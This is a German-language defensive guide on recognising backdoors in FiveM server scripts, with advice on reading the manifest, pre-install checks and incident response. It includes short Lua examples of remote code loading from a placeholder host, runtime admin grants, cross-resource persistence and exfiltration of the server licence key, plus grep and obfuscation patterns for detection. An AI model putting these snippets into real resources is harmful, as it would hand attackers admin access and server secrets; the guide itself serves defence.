Ein FiveM-Script mit Backdoor erkennen

Die vier Formen, die eine Backdoor annimmt, wie du eine Resource liest bevor sie läuft, und was du zuerst tust, wenn du eine findest. Sortiert danach, was dich wirklich schützt.

6 Minuten Lesezeit

Jemand schickt dir ein "kostenlos geleaktes" Script. Du legst es in resources, startest neu, und alles funktioniert. Drei Wochen später hat ein Fremder Admin, deine Datenbank ist weg, oder dein Server leitet stillschweigend Werbung an deine eigenen Spieler weiter.

Dieser Guide zeigt, wie du eine Resource anschaust bevor sie läuft, was die Muster wirklich bedeuten, und was zu tun ist, wenn du eines findest.

Nichts hier lädt deine Dateien hoch. Der Backdoor-Scanner liest sie in deinem Browser, was die einzig vernünftige Art ist, ein Script zu untersuchen, dem du ohnehin schon nicht traust.

Fang mit dem Manifest an

fxmanifest.lua entscheidet, was läuft. Öffne es zuerst, jedes Mal.

fx_version "cerulean"game "gta5"client_scripts {    "client/*.lua",}server_scripts {    "server/*.lua",    "config/init.lua",}

Zwei Fragen, in dieser Reihenfolge:

  1. Ergibt jede gelistete Datei Sinn für das, was diese Resource zu tun behauptet? Ein Park-Script mit einem server_script namens updater.lua verdient einen Blick.
  2. Wird irgendetwas mit einer Wildcard geladen, durch die du nicht durchsiehst? server/*.lua ist normal, bedeutet aber auch, dass eine später hinzugefügte Datei ohne weitere Änderung läuft.

Vergleiche danach das Manifest mit dem Ordner. Eine Datei, die auf der Platte existiert und nicht im Manifest steht, ist meist Ballast. Eine Datei im Manifest, die du nicht findest, ist ein deutlich schlechteres Zeichen.

Die vier Formen, die eine Backdoor annimmt

Fast alles Bösartige fällt in eine von vier Familien. Die Familie zu kennen ist wichtiger, als Strings auswendig zu lernen, denn die Strings ändern sich und die Formen nicht.

1. Code, der zur Laufzeit geholt und ausgeführt wird

Die Resource lädt etwas herunter und führt es aus. Was du heute auditierst, kann morgen etwas anderes ausliefern.

PerformHttpRequest("https://example-cdn.tld/p.lua", function(code, body)    if code == 200 then        assert(load(body))()    endend, "GET")

load, loadstring, RunString und assert(load(...)) machen aus Text laufenden Code. Zusammen mit einem HTTP-Aufruf in derselben Datei gibt es dafür keine harmlose Lesart.

Ein Auto-Updater ist die übliche Tarngeschichte. Ein legitimer Updater lädt eine Datei herunter und bittet dich um einen Neustart. Er führt das Heruntergeladene nicht im Speicher aus.

2. Rechte, die zur Laufzeit vergeben werden

Die leiseste Familie, und die, die Leute übersehen, weil nichts ungewöhnlich aussieht, bis ein Account, den niemand angelegt hat, vollen Zugriff hat.

RegisterNetEvent("core:sync", function(identifier)    ExecuteCommand(("add_principal identifier.%s group.admin"):format(identifier))end)

Hier stimmen zwei Dinge nicht. add_principal zur Laufzeit sollte nie aus einer Resource kommen, die du nicht selbst geschrieben hast, und das Event nimmt einen Identifier vom Client, jeder kann es also mit dem eigenen aufrufen.

Durchsuche jede Resource nach add_principal, add_ace und ExecuteCommand. In einem normalen Gameplay-Script ist die Zahl null.

3. Persistenz und Reinfektion

Der interessante Teil einer ernsthaften Backdoor ist, was passiert, nachdem du sie gefunden hast.

SaveResourceFile("chat", "fxmanifest.lua", "client_script 'x.lua'", -1)

SaveResourceFile erlaubt einer Resource, eine andere Resource umzuschreiben. Du löschst das bösartige Script, und es kommt aus der zurück, die umgeschrieben wurde. Deshalb heißt eine Datei gefunden noch lange nicht sauber.

4. Abfließende Secrets

Der Grund, warum sich das Platzieren gelohnt hat.

local key = GetConvar("sv_licenseKey", "")PerformHttpRequest("https://example-collector.tld/k", nil, "POST", key)

Eine Resource, die sv_licenseKey, steam_webApiKey, rcon_password oder deinen MySQL-Connection-String liest, hat dafür keinen legitimen Grund. Genauso wenig eine Discord-Webhook-URL, die du nicht eingetragen hast.

Obfuskation ist nicht die Tat, aber sie ist das Signal

Viele bezahlte Scripts sind obfuskiert, um eine Licence zu schützen, Obfuskation allein heißt also nicht bösartig. Sie heißt, dass du es nicht auditieren kannst, und das sollte eine bewusste Entscheidung sein und kein Versehen.

Was du siehstWas es bedeutet
\x68\x74\x74\x70 wiederholthex-escapte Strings, die eine URL oder einen Namen verstecken
string.char(104, 116, 116, 112)dieselbe Idee, dezimal
Eine einzelne Zeile über 800 Zeichenminifiziert, damit niemand drüberliest
Namen im Stil _0x4f2aein JavaScript-Obfuskator, häufig in NUI-Payloads
LPH_NO_VIRTUALIZE, IronBrew, Luraphein Lua-Obfuskator, beim Namen genannt

Die ehrliche Regel: eine obfuskierte Datei von einem bezahlten Anbieter, den du gewählt hast, ist ein Risiko, das du akzeptiert hast. Eine obfuskierte Datei in einem kostenlosen Leak ist ein Risiko, das jemand für dich gewählt hat.

Hex- und Base64-Blobs lassen sich in einem Schritt mit dem Base64-, Hex- und URL-Decoder decodieren. Der läuft ebenfalls in deinem Browser, du fügst also kein verdächtiges Payload in die Website eines Fremden ein.

Das hier vor jeder Installation

Eine kurze Routine fängt das meiste ab.

  1. Scanne das Archiv. Zieh die .zip direkt in den Backdoor-Scanner. Er liest Zips, ohne sie irgendwohin zu entpacken.
  2. Lies das Manifest, und vergleiche es mit dem Inhalt des Ordners.
  3. Grep nach den vier Familien. load(, PerformHttpRequest, add_principal, SaveResourceFile, GetConvar.
  4. Installiere zuerst auf einem Testserver, mit einem Wegwerf-Licence-Key und einer Datenbank, in der nichts steht.
  5. Beobachte die Konsole beim ersten Start. Backdoors, die nach Hause telefonieren, tun das meist sofort, und ein HTTP-Fehler beim Booten ist ein Geschenk.

Wenn du eine findest

Die Reihenfolge zählt hier, und der Instinkt, zuerst die Datei zu löschen, ist falsch.

  1. Stopp den Server. Nicht die Resource. Den Server.
  2. Tausche jedes Secret aus: sv_licenseKey über das Cfx-Portal, dein Datenbankpasswort, deine Discord-Webhooks, jeden API-Key in einer Convar. Geh davon aus, dass alles in der server.cfg bekannt ist. Der Secret-Generator erzeugt Ersatz, ohne ihn irgendwohin zu schicken.
  3. Prüfe add_principal in deinen eigenen Configs und entferne jeden Identifier, den du nicht erkennst.
  4. Auditiere die anderen Resources, wegen Familie 3. Eine einzige Backdoor, die SaveResourceFile benutzt hat, heißt, dass auch die anderen gelesen werden müssen.
  5. Erst dann löschst du die Resource, und spielst ein Backup zurück, das du angelegt hast, bevor sie je installiert war, falls du eins hast.

Deinen Licence Key zu wechseln, ohne dein Datenbankpasswort zu wechseln, löst gar nichts. Wer serverseitige Codeausführung hatte, hatte auch deine Zugangsdaten.

Was dir das nicht sagen kann

Mustererkennung über Quelltext ist kein Beweis.

Eine sorgfältige Backdoor kann jedem Muster in diesem Guide ausweichen, und sauberer Code passt manchmal darauf: eine legitime Resource darf durchaus PerformHttpRequest aufrufen, und viele gute Scripts lesen eine Convar. Genau deshalb erklärt der Scanner, was jeder Fund bedeutet, statt ein Urteil auszugeben.

Behandle einen Report als Liste von Stellen zum Nachsehen, nicht als Urteil. Das Urteil bleibt bei dir, und das ist auch richtig so.

Die in diesem Guide benutzten Tools